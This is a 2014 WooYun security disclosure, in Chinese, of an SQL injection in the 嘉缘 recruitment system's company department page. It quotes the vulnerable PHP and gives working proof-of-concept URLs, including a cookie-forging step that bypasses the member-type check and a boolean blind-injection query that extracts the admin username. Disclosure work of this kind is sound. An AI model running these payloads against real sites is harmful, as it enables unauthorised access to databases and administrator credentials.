当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066709

漏洞标题:嘉缘人才系统SQL注入漏洞

相关厂商:嘉缘官网

漏洞作者: My5t3ry

提交时间:2014-07-02 16:07

修复时间:2014-09-30 16:08

公开时间:2014-09-30 16:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-02: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-09-30: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

嘉缘人才系统SQL注入一枚。

详细说明:

厂商url:http://www.finereason.com
漏洞位于/member/company_deptlist.php 7 - 28行,代码如下:

defined('IN_FR') or exit('Access Denied');
if($user_type=='pmember'){
echo "<script>alert('您好,您不是企业会员不能操作此功能!');location.href='javascript:history.back()';</script>";
exit;
}
$sqlstr=Array('d_id','d_name','d_principal','d_email');
if($do=='savedata'){
$sqls='';
foreach($sqlstr as $v){
$s=str_replace('d_','',$v);
if(isset($$s)&&$s!='id'){
$sqls.="$v='".cleartags($$s)."',";
}
}
$sqls=substr($sqls,0,-1);
if($id!=''){
$db ->query("update {$cfg['tb_pre']}dept set $sqls where d_cmember='$username' and d_id=$id");
}else{
$db ->query("INSERT INTO {$cfg['tb_pre']}dept (d_name,d_principal,d_email,d_cmember) VALUES('$name','$principal','$email','$username')");
}
showmsg('保存成功!',"?m=company_deptlist",0,2000);exit();


$id未经过滤带入SQL导致注入。

漏洞证明:

下面来测试,注册一个会员并登陆,因为判断了cookie,所以先设置下cookie来绕过企业会员的验证:
javascript:alert(document.cookie="fr_user_type=" +escape("my5t3ry"));
接着访问
http://192.168.116.128/frcmsnew/member/index.php?m=company_deptlist&do=savedata&name=daffaef&principal=ddd&email=afaer%40adfdf.cn&id=@`'` or d_id=if((1=1),9999,(select 1 from information_schema.tables))%23@`'`
如图1,查询为真,返回正常页面。

1.jpg


继续访问
http://192.168.116.128/frcmsnew/member/index.php?m=company_deptlist&do=savedata&name=daffaef&principal=ddd&email=afaer%40adfdf.cn&id=@`'` or d_id=if((1=2),9999,(select 1 from information_schema.tables))%23@`'`
如图2,查询为假,页面报错。

2.jpg


把其中的1=1替换为我们的注射语句就行了,如查询管理员用户名的第一个字符是否为a:
http://192.168.116.128/frcmsnew/member/index.php?m=company_deptlist&do=savedata&name=daffaef&principal=ddd&email=afaer%40adfdf.cn&id=@`'` or d_id=if((ascii(substring((select a_user from job_admin limit 0,1),1,1))=97),9999,(select 1 from information_schema.tables))%23@`'`

修复方案:

过滤

版权声明:转载请注明来源 My5t3ry@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝